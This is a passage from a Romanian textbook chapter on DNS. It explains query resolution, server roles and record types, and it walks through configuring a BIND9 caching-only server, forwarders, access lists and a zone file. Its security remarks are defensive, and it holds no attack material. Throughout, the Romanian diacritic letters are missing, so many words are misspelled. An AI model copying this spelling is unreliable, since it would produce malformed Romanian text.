Cererea va fi fcut ctre serverul specificat pe staie, ca fiind serverul local de DNS. Pe un
sistem Linux acest server este specificat n fiierul /etc/resolv.conf. Bineneles c serverul
DNS local s-ar putea s nu cunoasc adresa IP pentru www.google.com, cci dup cum s-a
specificat anterior, baza de date DNS este distribuit i administrat distribuit.
Cererile trimise de clienii DNS, serverelor locale poart o denumire special n
terminologia DNS, i anume cereri recursive. Aceast denumire este dat de faptul c serverul
DNS local este obligat s rezolve cererea indiferent dac are informaii despre ea sau nu, prin
interograrea altor servere DNS.
Pentru a putea simplifica protocolul, doar clienii de DNS pot face cereri recursive. Dac
serverul local nu tie sa rspund cu o adres IP pentru un anumit domeniu, el va face o cerere
nerecursiv la un alt server DNS remote (aceast operaie se va detalia n urmtorul
subcapitol). Cererea este numit nerecursiv din cauza faptului c dac serverul remote
interogat nu poate rezolva numele de domeniu, acesta va oferi un rspuns negativ (fr a mai
ncerca el s ntrebe alt server de nume) alturi de un hint care s indice un alt server DNS care
ar putea s traduc numele. n continuare, serverul DNS local, dei a primit un rspuns
negativ, deoarece a primit anterior o cerere recursiv, va continua s ntrebe alte servere DNS
remote, pn va primi un rspuns pozitiv pe care l va returna clientului.
Pentru a concluziona, diferena dintre o cerere recursiv i una nerecursiv, este c prima
dintre acestea va fi ntotdeauna rezolvat, pe cnd a doua, nu (poate primi rspuns negativ).
7.1.2 Tipuri de servere DNS
S-a putut observa c fiecare domeniu DNS are o entitate administrativ. Aceast entitate
administrativ este un server DNS sau, conform terminologiei DNS, un server de nume.
248 | R e e l e L o c a l e

Principalul rol al serverului de nume asociat unui domeniu este de a rspunde la cereri despre
staiile i serverele aflate n gestiunea sau autoritatea sa.
Se spune c un server de nume este server autoritar pentru o intrare din baza de date DNS
dac intrarea face parte din domeniul gestionat de serverul de nume.

Atenie! Faptul c un server este autoritar pe domeniul cs.pub.ro, nu nseamn c el nu
va ncerca s rezolve o cerere recursiv pentru adresa ubuntuforums.org, ci doar faptul c
adresa cs.pub.ro va putea fi tradus ntotdeauna direct de ctre el.
Dup cum se va vedea n continuare, rezolvarea unui domeniu, a unui nume sau a unei
adrese este un proces iterativ ce poate necesita interogarea mai multor servere DNS, i are,
deci, o laten considerabil. Din aceast cauz, n general, serverele de DNS vor rspunde i la
cereri care nu intr n autoritatea lor (nu fac parte din domeniul gestionat), din dou motive:
acest lucru va simplifica implementarea clientului de DNS i n acelai timp se va putea folosi
un cache pentru toate staiile ce folosesc acel server de nume. Astfel, clientul va trimite
cererea DNS serverului indiferent dac cererea se refer la un nume din domeniul serverului
sau nu; acesta va rezolva cererea fie local, dac numele face parte din domeniul su, fie prin
interogarea iterativ a mai multor servere de nume, dup cum urmeaz. Odat aflat rspunsul
acesta va putea fi pstrat n cache, i cererile ulterioare vor fi servite din cache.
Datorit cache-ului se poate ntmpla ca modificrile operate de serverul de nume asupra
poriunii sale din baza de date DNS s nu fie vizibile imediat. Aceasta datorit faptului c alte
servere de nume vor folosi de obicei cache-ul pentru a ntoarce rspunsuri clienilor,
rspunsuri care pot fi neactualizate. Pentru a minimiza latena propagrii schimbrilor
efectuate, administratorul domeniului poate specifica durata maxim de timp pentru care un
rspuns trimis poate sta n cache-ul altui server de nume. Trebuie reinut, ns, faptul c o
valoare de ordinul a ctorva ore nu este exagerat, i reprezint o practic destul de comun
n Internet. Pe de alt parte, modificrile n baza de date DNS nu sunt att de dese, astfel c
aceast politic are sens, mai ales datorit faptului c folosirea cache-ului DNS diminueaz
foarte mult latena rezolvrii numelor.
Convergena DNS este unul dintre cele mai lente procese din Internet.
7.1.2.1 Server DNS Caching-only
Problema cu cererile recursive este c, n cantitate mare, pot ngreuna simitor un server
DNS. De aceea, este considerat o practic bun ca un server DNS s accepte cereri doar din
partea reelelor locale aflate n domeniul pentru care acest server este autoritar. Dac
administratorul ar permite cereri recursive din tot Internetul, severul su ar putea fi foarte
uor atacat.
n concluzie, chiar dac o reea nu are un domeniu DNS (pentru c sunt folosite adrese
private de exemplu), un server DNS este totui necesar, deoarece clienii DNS nu trimit dect
cereri recursive, care trebuie rezolvate undeva. n plus, un server DNS este util i pentru cache-
ul pe care l menine. Din aceast cauz exist i servere de nume caching-only. Ele sunt
servere de nume, care rezolva cereri recursive, dar care nu sunt servere autoritare pentru
niciun domeniu.
Not: dac un server nu este autoritar peste niciun domeniu (caching-only), nseamn c
rspunsul la o cerere recursiv va fi dat ntotdeauna din cache, sau din rezultatul pozitiv al unei
cereri nerecursive efectuate de serverul caching-only.
249 | D N S

7.1.2.2 Servere DNS rdcin
Serverele rdcin sunt servere de nume administrate de InterNIC, i care gestioneaz o
parte din domeniile top-level.
Acestea sunt cunoscute de serverele de nume n mod implicit i sunt de obicei interogate
n mod nerecursiv de ctre un server local, atunci cnd acesta nu este autoritar pentru
domeniul cerut i nici nu posed informaia n cache. Dac serverul rdcin nu tie s traduc
cererea, va trimite serverului local un rspuns negativ, alturi de un hint care i va sugera un
alt server DNS care ar putea ti s translateze numele interogat.
7.1.2.3 Servere DNS forwarder
Dac un server de nume trebuie s rspund la o cerere recursiv de la un client, acesta va
ncerca mai nti s vad dac numele interogat face parte din domeniul pentru care el este
autoritar. Dac acesta nu e autoritar peste domeniul cerut, va ncerca s caute intrarea
respectiv n cache. n cazul n care nu o gsete n cache, serverul va trebui s fac cereri
nerecursive ctre alte servere, pentru a putea realiza rezolvarea. n mod normal, serverul va
interoga un server rdcin. Aici intervine noiunea de server forwarder.
Un administrator poate configura pe serverul su DNS, adresa IP a unui server special care
va avea un rol de forwarder pentru acesta. Mai exact, n situaia de mai sus, n loc ca serverul
local s apeleze la un server rdcin, va apela mai nti la serverul forwarder pe care l are
configurat. Forwarder-ul va consta de obicei dintr-un server chaching-only care va fi cu att
mai bun, cu ct e folosit mai des i de mai multe servere. Dac forwarder-ul nu va reui s dea
un rspuns pozitiv la cererea nerecursiv a serverului local, se va apela la un server rdcin
cunoscut.
Observaie: Ca s fie eficient (s aib informaie n cache), forwarder-ul va trebui s
primeasc i cereri recursive.
7.1.2.4 Servere Master/Slave
Din motive de redundan i de distribuire a ncrcrii, pot exista mai multe servere
autoritare pentru acelai domeniu. Cu toate acestea, doar unul dintre ele va fi server master,
celelalte vor fi servere slave.
Serverul master poate terge, aduga sau modifica intrri din poriunea sa din baza de
date DNS. Serverele slave vor transfera la pornire informaiile de la serverul master.
n continuare, periodic, serverele slave vor interoga seria bazei de date de la serverul
master. Dac seria de la serverul master este mai mare dect seria curent a serverului slave,
acesta va transfera din nou baza de date de la serverul master. Pentru a reduce latena
propagrii schimbrilor la serverele slave, protocolul DNS prevede, de asemenea, mecanisme
de notificare a serverelor slave. Atunci cnd este necesar, n general la pornirea sau repornirea
serverului master, acesta poate notifica serverele slave trimindu-le seria bazei de date.
7.1.3 Tratarea unei cereri DNS
Protocolul DNS specific existena a dou tipuri de rspunsuri la cererile DNS: rspunsuri
autoritare i rspunsuri neautoritare. Doar serverele ce gestioneaz un domeniu (serverele
master i slave ale domeniului) pot trimite rspunsuri autoritare, i asta doar pentru staiile
din domeniul gestionat.
250 | R e e l e L o c a l e

7.1.3.1 Tratarea unei cereri recursive
n continuare se vor sumariza paii principali ai procesului de tratare a unei cereri
recursive:
Clientul face o cerere recursiv ctre serverul DNS local.
Dac serverul este autoritar peste un domeniu, analizeaz numele interogat pentru a i da
seama dac este chiar numele domeniului peste care este autoritar. n caz afirmativ, ofer un
rspuns autoritar.
Dac serverul nu este autoritar peste niciun domeniu sau dac nu s-a putut da un rspuns
autoritar direct, se va cuta n cache-ul serverului. Binenteles c dac rspunsul este gsit n
cache, acesta este oferit clientului.
Dac informaia nu a fost gsit n cache se va face cel puin o cerere nerecursiv.
7.1.3.2 Tratarea unei cereri nerecursive
n cazul n care un server local nu tie s traduc o cerere recursiv, aceasta poate fi
rezolvat cu ajutorul unor cereri nerecursive adresate pe rnd mai multor servere de nume. O
cerere nerecursiv va ntoarce un rspuns pozitiv doar dac serverul interogat are intrarea n
cache sau este autoritar pentru cerere. Altfel, serverul de nume interogat va rspunde cu un
mesaj specificnd faptul c rspunsul este necunoscut i indicnd un alt server de nume. n
aceast situie, serverul interogat decide dac cererea reprezint un domeniu inclus n
domeniul su de autoritate sau nu, pentru a determina serverul recomandat. Se disting deci 2
cazuri:
1. Dac cererea este un domeniu inclus n domeniul serverului, se caut n cache i va fi indicat
serverul pentru cel mai specific domeniu al cererii. Dac niciunul dintre domeniile specifice nu
se afl n cache se va da un rspuns autoritar ce poate fi pozitiv sau negativ. Spre exemplu,
dac cererea eglab.rc.cs.pub.ro ajunge la serverul autoritar pentru domeniul pub.ro,
mai nti va fi cutat n cache numele complet eglab.rc.cs.pub.ro. Dac acesta nu este
gsit, se va cuta rc.cs.pub.ro. Dac i aceast cutare a euat se va cuta adresa
cs.pub.ro n fiierele de configuraie locale. Dac aceasta exist, rspunsul va fi pozitiv, altfel
rspunsul va fi rspuns autoritar negativ.
2. Dac cererea nu este inclus n domeniul serverului interogat, acesta va indica serverul din
cache pentru cel mai specific domeniu al cererii. Astfel, pentru cererea
orange.csl.cmu.edu va fi cutat n cache mai nti numele complet. Dac acesta nu este
gsit se va cuta csl.cmu.edu, apoi cmu.edu i n final doar domeniul edu. Dac niciuna
dintre aceste cutri nu s-a ncheiat cu succes va fi indicat un server rdcin.
7.1.3.3 Exemplu de rezolvare a unei cereri
Pentru exemplificare, se consider o aplicaie ce trebuie s rezolve numele
www.linux.org i c aplicaia ruleaz pe staia lemon.cs.pub.ro, care are configurat ca
server de nume serverul cs.pub.ro. Paii urmai sunt:

1. Staia lemon.cs.pub.ro trimite o cerere recursiv serverului cs.pub.ro n care solicit
aflarea adresei asociate numelui www.linux.org;
2. Serverul va ncepe prin a analiza apartenena numelui www.linux.org la domeniul pe care l
gestioneaz; ntruct nu face parte, se trece la urmtorul pas;
3. Serverul verific existena adresei n cache; se presupune c adresa nu se gsete n cache; n
acest caz se trece la pasul urmtor;
4. Dac serverul are configurat un server de forwarding, atunci va trimite o cerere nerecursiv
serverului de forwarding; n caz contrar va trimite o cerere nerecursiv unuia dintre serverele
rdcin; n cazul de fa, se va considera c serverul ns.pub.ro - 141.85.37.8 este configurat
ca server de forwarding;
251 | D N S

5. Cererea ajunge la serverul ns.pub.ro care va cuta n cache adresa statiei www.linux.org;
se presupune c adresa nu se gsete n cache; drept consecin, serverul ntoarce un rspuns
negativ, specificnd ca hint serverul rdcin B.root-servers.net - 192.228.79.201;
6. Serverul cs.pub.ro va trimite cererea serverului rdcin B.root-servers.net; acesta va
cuta adresa statiei www.linux.org n cache; se prespune, din nou, c nu gsete adresa n
cache, astfel c va trimite un rspuns negativ iar ca hint serverul de nume asociat domeniului
.org, s spunem ns.org - 216.66.41.146;
7. Serverul cs.pub.ro trimite atunci cererea serverului ns.org; acesta va cuta adresa
www.linux.org n cache; se presupune c nu o va gsi; va trimite, deci, un rspuns negativ,
iar ca hint serverul asociat domeniului linux.org, s spunem ns.linux.org;
8. n continuare, serverul cs.pub.ro trimite cererea serverului ns.linux.org; acesta, fiind
serverul autoritar pentru zona linux.org, va cuta adresa www.linux.org n baza de date
i va ntoarce un rspuns pozitiv i autoritar cu adresa IP asociat;
9. Serverul cs.pub.ro ntoarce rspunsul staiei lemon.cs.pub.ro i l introduce n cache.

Pentru a nelege mai bine, toate cererile i rspunsurile implicate n rezolvarea cererii au
fost reprezentate n figura de mai jos. Cererile sunt reprezentate cu linie continu, n timp ce
rspunsurile sunt reprezentate cu linie punctat. Pentru fiecare cerere sau rspuns a fost
reprezentat informaia solicitat, respectiv oferit i amprenta de timp corespunztoare.


7-2: Exemplu de cerere DNS
7.1.4 Structura bazei de date DNS.
n seciunile precedente, structura bazei de date DNS a fost prezentat simplificat, pentru
a explica mai uor conceptele. S-a vzut c baza de date DNS este de fapt un arbore multici n
care nodurile sunt reprezentate de domenii, iar frunzele de staii. n realitate, ns, lucrurile
sunt ceva mai complexe. Baza de date DNS este structurat ca un arbore multici; totui ea nu
reine domenii, staii i servere, ci nregistrri DNS de forma (cheie, informaie).
Cheia este reprezentat de un nume complet i este distribuit n nodurile arborelui. O
cheie poate avea asociate mai multe informaii, n general de tipuri diferite, dar nu obligatoriu.
Baza de date DNS este astfel structurat nct cu ajutorul cheii s se localizeze informaiile
asociate.
nregistrrile sunt de mai multe tipuri, grupate dup funcionalitate: nregistrare pentru
operaiile de cutare, nregistrare pentru operaiile de cutare invers (reverse lookup),
252 | R e e l e L o c a l e

nregistrare pentru serverele de nume, etc. Fiecare dintre tipurile de nregistrri sunt
cunoscute n terminologia DNS dup mnemonici, cele mai folosite fiind nregistrrile: A,
CNAME, MX, NS, PTR, SOA.
7.1.4.1 nregistrri DNS
n continuare se prezint descrierea ctorva tipuri de nregistrri din baza de date DNS i
rezultatele ntoarse la interogarea bazei de date pentru fiecare dintre acestea. Pentru
interogare s-a folosit utilitarul host prezent n sistemele UNIX.
A identific nregistrri de tip adres, fiind folosite pentru rezolvarea direct a numelui. Aceste
nregistrri asociaz chei de tip nume de staie de genul www.kde.org cu o adres IPv4.
Pentru a asocia chei de tip nume de domeniu unor adrese IPv6 se folosesc nregistrri de tip
AAAA.
user@orange:~$ host -t A cs.pub.ro
cs.pub.ro has address 141.85.37.5
PTR identific nregistrri de tip pointer i sunt folosite pentru rezolvarea invers. Acestea
asociaz chei de tip adresa IP de genul 1.37.85.141.in-addr.arpa cu un nume de domeniu
complet.
user@orange:~$ host -t PTR 1.37.85.141.in-addr.arpa
1.37.85.141.in-addr.arpa domain name pointer csr.cs.pub.ro.
NS identific nregistrri de tip server de nume (name server) i sunt folosite pentru a indica
numele serverelor de nume autoritate (att cele master ct i cele slave, dac este cazul)
asociate domeniului specificat n cheie. nregistrrile de tip NS sunt folosite pentru delegarea
de subdomenii ctre alte servere de nume.
user@orange:~$ host -t NS cs.pub.ro
cs.pub.ro name server pub.pub.ro.
cs.pub.ro name server ns.cs.pub.ro.
MX identific nregistrri de tip server de mail i sunt folosite pentru a indica numele serverelor
de mail responsabile pentru mailurile destinate domeniului specificat n cheie. Adresa
serverelor de mail se specific cu ajutorul unor nregistrri de tip adres.
user@orange:~$ host -t MX cs.pub.ro
cs.pub.ro mail is handled by 5 mail.cs.pub.ro.
SOA identific nregistrri de tip start of authority ce specific diveri parametri pentru
domeniul indicat n cheie: seria bazei de date, intervalul de timp la care serverul slave verific
seria, adresa de mail a administratorului de domeniu, etc.
user@orange:~$ host -t SOA cs.pub.ro
cs.pub.ro has SOA record ns.cs.pub.ro. admin.cs.pub.ro. 2007072101 28800 7200 604800
86400
TXT identific o nregistrare de tip descriere. Aceasta asociaz numele de staie indicat de
cheie cu un text de descriere ASCII.
user@orange:~$ host -t TXT cs.pub.ro
cs.pub.ro descriptive text "UPB, Computer Science Departament"
CNAME identific o nregistrare de tip alias. Un alias este un nume de domeniu alternativ
pentru numele specificat n cheie. Aliasul va fi asociat cu aceeai adres cu care este asociat i
cheia. De exemplu, considernd aliasul mail.cs.pub.ro la numele prof.cs.pub.ro, i
presupund c adresa prof.cs.pub.ro este 141.85.37.3, atunci adresa
mail.cs.pub.ro va fi 141.85.37.3.
user@orange:~$ host -t CNAME mail.google.com
mail.google.com is an alias for googlemail.l.google.com.
253 | D N S

Ca o observaie cheile folosite n DNS (numele domeniilor, staiilor, etc.) sunt limitate la
caractere alfanumerice (a-z, A-Z, 0-9) i caracterul '-'. Numele de domeniu complete nu pot
depi 255 de caractere, iar numele de domeniu relative nu pot depi 63 de caractere.
7.2 Configurri de baz DNS
7.2.1 Configurarea clientului DNS pe Linux
7.2.1.1 Fiierul /etc/resolv.conf
n UNIX, informaiile legate de serverele de nume folosite n interogrile DNS i alte
opiuni DNS sunt pstrate n fiierul /etc/resolv.conf.
Pentru a configura serverul DNS responsabil cu rezolvarea cererilor se adaug o directiv
de tipul nameserver adresa_ip. Se pot folosi mai multe servere DNS, pentru fiecare trebuind
adaugat o directiv separat:
$ cat /etc/resolv.conf
nameserver 88.77.66.55
nameserver 99.88.77.66
n cazul n care sunt configurate mai multe servere DNS, se va interoga ntotdeauna
primul. Celelalte servere se interogheaz doar dac serverul interogat anterior nu rspunde.
7.2.1.2 Fiierul /etc/nsswitch.conf
Pe sistemele UNIX exist mai multe metode de rezolvare a numelor: DNS, NIS,
/etc/hosts, LDAP, etc. Selecia prioritii pentru aceste metode de rezolvare a numelor
staiilor (dar nu numai, deoarece la fel pot fi rezolvate i numele utilizatorilor n UID-uri i GID-
uri, de exemplu) se realizeaz cu ajutorul fiierului de configuraie /etc/nsswitch.conf .
Sintaxa acestui fiier este urmtoarea:
baz_de_date_1: surs_1_1 surs_1_2 ...
baz_de_date_2: surs_2_1 surs_2_2 ...
...
Cmpul baz_de_date poate fi hosts pentru rezolvarea numelor staiilor, passwd pentru
rezolvarea numelor de utilizatori, group pentru rezolvarea numelor grupurilor de utilizatori,
etc. Cmpurile surs_1_1, surs_1_2 specific ordinea metodelor folosite pentru rezolvarea
numelor. Cele mai folosite metode sunt:
files pentru a folosi fiierele de configuraie din directorul /etc (e.g. /etc/hosts conine o
list de corespondene statice ntre nume de staii i adrese IP)
DNS pentru a folosi serverul de nume specificat n fiierul /etc/resolv.conf
NIS pentru a folosi protocolul de administrare centralizat NIS (Network Information Service).
7.2.2 Utilitare de interogare DNS
n continuarea acestui capitol se va prezenta configurarea unui server DNS pe Linux.
Datorit complexitii sistemului DNS, inevitabil vor aprea probleme cauzate de o greeal de
configurare, de configuraii neinspirate sau chiar de convergena lent a protocolului. De
aceea se vor prezenta mai nti moduri de interogare i verificare a serviciului.
n lumea UNIX exist trei utilitare mai des folosite: nslookup, host i dig. Cel mai vechi
dintre ele, nslookup, are un echivalent cu acelai nume pe platformele Windows. n cele ce
urmeaz va fi prezentat doar utilitarului host. Utilitarul nslookup este considerat nvechit, iar
dig are o sintax mai complicat i un output mai greu de neles.
254 | R e e l e L o c a l e

7.2.2.1 Utilitarul host
Sintaxa de utilizare a comenzii host este urmtoarea:
host [-v] [-t tip] [-r] [-l] nume [server]
Comanda va ncerca s rezolve numele nume folosind fie serverul server dac acesta este
prezent n lina de comand, fie serverul implicit configurat n /etc/resolv.conf n caz
contrar.
Opiuni ale comenzii sunt:
-t Tipul nregistrrii folosit la interogare poate fi configurat cu ajutorul opiunii -t, i poate fi
unul dintre acronimele definite de standardul DNS (A, PTR, NS, etc.) sau ANY pentru a ntoarce
toate nregistrrile asociate cu cheia de cutare (numele), indiferent de tipul nregistrrii. Dac
nu se folosete opiunea -t, atunci host va folosi n mod implicit fie A, fie PTR n funcie de
numele de interogat: dac numele seamn cu o adres IP, se va folosi PTR, altfel A;
-r n mod implicit interogrile realizate de host sunt interogri recursive. Pentru interogri
nerecursive, trebuie folosit opiunea r;
-l Uneori poate fi util afiarea tuturor intrrilor dintr-o anumit zon. Cu host acest lucru se
poate face utiliznd opiunea l. Practic, la folosirea acestei opiuni, host va ncerca s fac
un transfer de zon. n funcie de configurarea serverului, aceast operaie poate fi sau nu
permis. Dac transferul de zon a fost efectuat, host va filtra apoi nregistrrile n funcie de
tipul de nregistrare specificat n linia de comand. Dac nu se specific niciun tip de
nregistrare n linia de comand, host va lista nregistrrile de tip A i PTR;
-v Opiunea -v (verbose) va afia odat cu informaiile cerute i alte informaii recepionate
n rspunsul primit de la server.
7.2.3 Configurarea serverului DNS BIND9
Una dintre primele implementri ale unui server de DNS a fost fcut de ctre
Universitatea Berkeley din California. BIND (Berkeley Internet Name Server Daemon) este de
departe cea mai rspndit implementare de server DNS. Pentru descrierea serverului se va
folosi versiunea 9. Aceasta este cea mai recent dintre versiunile stabile.
7.2.3.1 Instalarea serverului
Petru a instala BIND pe sistemele Ubuntu/Debian se folosete utilitarul apt.
waters@myr:~$ sudo apt-get install bind9
Odat instalat, serverul DNS i va pune toate fiierele de configurare n /etc/bind.
7.2.3.2 Pornirea, oprirea i restartea serverului
Orice server instalat pe un sistem Ubuntu/Debian i va instala un script de iniializare n
/etc/init.d/. n cazul BIND, acest script poart numele de bind9. Acesta poate primi ca
parametrii: start, stop, restart.
waters@myr:/home/rl# /etc/init.d/bind9 stop
* Stopping domain name service... bind [ OK ]

waters@myr:/home/rl# /etc/init.d/bind9 start
* Starting domain name service... bind [ OK ]

waters@myr:/home/rl# /etc/init.d/bind9 restart
* Stopping domain name service... bind [ OK ]
* Starting domain name service... bind [ OK ]
7.2.3.3 Fiierul principal de configurare
Fiierul principal de configuraie este /etc/bind/named.conf. Acesta cuprinde dou
pri: o prim parte de opiuni i o a doua de definire de zone (domenii). De asemenea,
255 | D N S

naintea prii de opiuni poate fi precizat un fiier al crui coninut va fi inclus n fiierul de
configurare prin folosirea unei directive de tipul:
include fisier;
Pentru o organizare mai bun se recomand ca opiunile serverului s fie completate n
fiierul /etc/bind/named.conf.options, iar definirea de zone s se fac n fiierul
/etc/bind/named.conf.local. Fiierul /etc/bind/named.conf va conine doar opiunile
globale i declaraia de zon implicit (localhost) i va include cele dou fiiere anterioare.
De fapt, cele 2 fiiere sunt incluse n mod implicit de la instalarea serverului:
include "/etc/bind/named.conf.options";

// zone default sintaxa suport comentarii C,C++,shell

include "/etc/bind/named.conf.local";
Att sintaxa DNS ct i opiunile puse la dispoziie sunt destul de greu de neles n afara
unui context practic i de aceea, n continuare se vor prezenta configuraii ncepnd de la cele
mai simple i des ntlnite (server caching-only, server autoritar pe un singur domeniu) pn la
configuraii avansate (split-brain DNS, master/slave, ACL-uri, delegri de subdomenii). Pe
exemplele oferite se va releva importana fiecrei opiuni i se va discuta i sintaxa folosit
pentru definirea zonelor (domeniilor).
7.2.3.4 Configurarea unui server caching-only
Odat instalat, serverul BIND va porni printr-un script de iniializare. Dei iniial nu a fost
configurat niciun domeniu (sau zon, n terminologia BIND), serverul poate ndeplini rolul de
caching-only server n mod implicit. Acest lucru este posibil deoarece serverul de nume are n
fiierul db.root, adresele mai multor servere rdcin pe care le poate ntreba de practic
orice domeniu. Serverele rdcin sunt grupate n domeniul root-servers.net i sunt
numite A, B, C, D, etc.
waters@myr:~$ cat /etc/bind/db.root
[...]
A.ROOT-SERVERS.NET. 3600000 A 198.41.0.4
A.ROOT-SERVERS.NET. 3600000 AAAA 2001:503:BA3E::2:30
;
; formerly NS1.ISI.EDU
;
. 3600000 NS B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET. 3600000 A 192.228.79.201
;
; formerly C.PSI.NET
;
. 3600000 NS C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET. 3600000 A 192.33.4.12
[...]
7.2.3.4.1 Configurarea unui server forwarder
n acest moment interogarea DNS dureaz destul de mult pentru numele de domeniu ce
nu se afl n cache. Pentru a putea obine performane mai bune se pot configura unul sau mai
multe servere cu rol de forwarder. n fiierul /etc/bind/named.conf.options de mai jos s-a
configurat ca server forwarder, IP-ul serverul de DNS oferit de ISP.
options {

directory "/var/cache/bind";

[]

forwarders {
141.85.37.11;
};
};
256 | R e e l e L o c a l e

Directiva directory stabilete directorul de lucru. Din acest director sunt ncrcate fiierele
indicate n seciunea de definire de zone dac nu sunt precizate prin ci absolute. Tot n acest
director serverul creeaz fiiere temporare i poate crea fiiere ce conin intrrile din cache.
Directiva forwarders permite introducerea unor adrese IP care vor fi folosite ca servere
forwarder ce vor fi ntrebate mereu primele pentru o traducere ce nu s-a putut efectua local.
Atentie! Sintaxa acestei directive, ca i a multor altora din configuraia BIND, este destul
de rigid.
7.2.3.4.2 Configurarea de ACL-uri. Directiva allow-query.
Singura problem este ca serverul pn acum configurat rspunde la cereri recursive
efectuate de orice host din Internet care poate accesa serverul. Nefiind autoritar peste niciun
domeniu, acest server nu are niciun motiv pentru a fi interogat din afara reelei locale. ntr-
un scenariu real, configuraia unui server caching-only va arta astfel:
acl LAN {
192.168.0.0/24;
};
options {
directory "/var/cache/bind";
allow-query { LAN; };
[]

forwarders {
141.85.37.11;
};
};
La fiierul /etc/bind/named.conf.options, de mai sus, s-au adugat 2 componente:
s-a definit un acl (access control list) DNS foarte simplu cu numele de LAN. Directiva acl
realizeaz o asociere ntre numele LAN i reeaua 192.168.0.0/24.
s-a folosit directiva allow-query prin care s-au precizat clienii ce pot trimite cereri serverului
de nume. Argumentul din acolade, oferit directivei, ar fi putut fi direct adresa de reea, ns se
prefer folosirea unui acl pentru scalabilitate: un acl poate avea o structur destul de
complex, permind unele subreele i negnd accesul altora.
Concluzionnd, configuraia de mai sus:
permite cereri doar din partea IP-urilor din reeaua 192.168.0.0/24;
folosete ca forwarder serverul DNS cu adresa 141.85.37.11;
stocheaz fiierele pentru cache n /var/cache/bind.
7.2.3.5 Configurarea unui server autoritar peste un domeniu
n general un server de nume autoritar tie s fac att operaia de rezolvare direct ct i
operaia de rezolvare invers pentru un domeniu pe care l deine. Pentru fiecare tip de
rezolvare este nevoie de definirea unei zone.
n terminologia DNS, o zon reprezint un mod de a grupa informaia de care este nevoie
pentru a face una dintre rezolvri: direct sau invers.
Deci daca se dorete realizarea rezolvrii directe i inverse, trebuie definite 2 zone, pentru
fiecare domeniu. Dup cum s-a specificat, pentru rezolvarea invers va trebui creat un
subdomeniu de tipul: IP.in-addr.arpa.
Pentru exemplificare se va presupune crearea zonei politehnica.ro, alturi de zona in-
addr.arpa corespunztoare. Specificaiile pe care domeniul va trebui s le respecte, sunt
dup cum urmeaz:
serverul de nume pentru domeniul politehnica.ro este ns.politehnica.ro i are
adresa IP 142.100.111.53
serverul de nume ns.politehnica.ro va rspunde la cereri pentru nregistrrile:
257 | D N S

o www.politehnica.ro 142.100.111.80
o ftp.politehnica.ro 142.100.111.21
o mail.politehnica.ro 142.100.111.25
serverul va oferi posibilitatea de rezolvare invers din adrese IP n nume
Operaia de a crea o zon pentru care serverul de nume s fie autoritar, const din 2 pai:
Definirea zonei n fiierul /etc/bind/named.conf.local sau n fiierul principal de
configurare.
Introducerea parametrilor zonei i rezolvrile pentru diferite adrese, ntr-un fiier de zon
(fiier de configurare pentru respectiva zon).
7.2.3.5.1 Definirea zonei
Fiierul /etc/bind/named.conf.local va trebui sa conin urmtoarele informaii despre
zona:
Numele zonei
Calea n sistemul de fiiere ctre fiierul de configurare al zonei
Tipul zonei (master/slave)

O definire corect pentru cele 2 zone ale domeniului politehnica.ro, arat astfel:
waters@myr:~$ cat /etc/bind/named.conf.local

zone "politehnica.ro" {
type master;
file "/etc/bind/db.politehnica.ro";
};

zone "111.100.142.in-addr.arpa" {
type master;
file "/etc/bind/db.111.100.142.in-addr.arpa";
};
Se va analiza n continuare sintaxa i funcionalitatea fiierului de mai sus.
Pentru a putea specifica o zona se folosete directiva zone urmat de numele efectiv al
zonei, plasat ntre ghilimele, tipul i calea ctre fiierul de configurare al zonei dat n format
absolut. Dac n locul cii absolute s-ar fi specificat numele n mod relativ:
db.politehnica.ro i respectiv db.111.100.142.in-addr.arpa, serverul DNS ar fi
concatenat numele n mod implicit la calea referit de directiva directory. Cum aceasta este
setat implicit la adresa /var/cache/bind/, adresa final ar fi fost /var/cache/bind/
db.politehnica.ro.
Not: nu este obligatoriu ca numele fiierelor de zon s respecte convenia de nume
db.nume_domeniu, ns modul acesta de denumire a fost adoptat de majoritatea
administratorilor pentru a oferi un mod clar de a recunoate fiierul de zon al fiecarui
domeniu.

Atenie! Sintaxa de definire a zonei este destul de strict i trebuie realizat urmrind
exemplul de mai sus.
7.2.3.5.2 Fiiere de zon
Dup cum se observ din sintaxa fiierului principal de configuraie, fiecare domeniu sau
zon are asociat un fiier de configuraie. Acesta conine practic baza de date DNS pentru
domeniu. Fiierul conine mai multe nregistrri DNS, fiecare nregistrare fiind descris pe un
singur rnd. Excepie fac nregistrrile de tip SOA care se ncheie odat cu caracterul ).
258 | R e e l e L o c a l e

nregistrrile sunt structurate la rndul lor n cmpuri separate de spaii sau tab-uri. Formal,
structura fiierelor de zon este urmtoarea:
$INCLUDE fiier nume_domeniu //
$ORIGIN nume_domeniu // parametrii de zon
$TTL ttl //

Nume_domeniu ttl clasa tip informaii // nregistrare DNS
Dac numele unui domeniu nu se termin cu . atunci este considerat nume incomplet.
Pentru a afla numele complet folosit n nregistrri se concateneaz cu domeniu
nume_domeniu definit de operatorul $ORIGIN.
O greeal frecvent atunci cnd se editeaz fiierele de configuraie pentru zone este
scrierea incorect a numelor complete, prin uitarea aplicrii punctului la sfritul numelui.
Operatorul $INCLUDE specific fiierul ce va fi inclus nainte de parsare. Dac este prezent
i parametrul nume_domeniu, acesta va preciza numele concatenat la numele incomplete, dar
doar pentru nregistrrile din fiierul inclus.
Operatorul $ORIGIN precizeaz numele ce se va concatena la numele incomplete din
seciunea ce urmeaz.
Operatorul $TTL indic timpul maxim pentru care un rspuns pozitiv pentru intrri din
seciunea curent poate sta n cache-ul altor servere.
7.2.3.5.3 Configurarea fiierului de zon pentru rezolvare direct
Pentru o mai bun nelegere a parametrilor de mai sus i a sintaxei nregistrrilor DNS, se
va analiza modul n care ar trebui completat fiierul de zon db.politehnica.ro.
$ORIGIN ro.
$TTL 36000
politehnica IN SOA ns.politehnica.ro. admin.politehnica.ro. (
2007092001 ; Serial
8H ; Refresh
2H ; Retry
1W ; Expire
1D ; Negative TTL
)
politehnica TXT "Universitatea Plitehnica Bucuresti"
politehnica NS ns.politehnica
politehnica MX 10 mail.politehnica
politehnica A 142.100.111.53

ns.politehnica IN A 142.100.111.53
mail.politehnica IN A 142.100.111.25
www.politehnica.ro. IN A 142.100.111.80
ftp.politehnica.ro. IN A 142.100.111.21
Parametrul $ORIGIN va avea ca efect concatenarea domeniului ro. Tuturor domeniilor din
fiier ce nu se termin cu caracterul . (punct). Spre exemplu numele ns.politehnica se va
transforma dup parsare n ns.politehnica.ro.
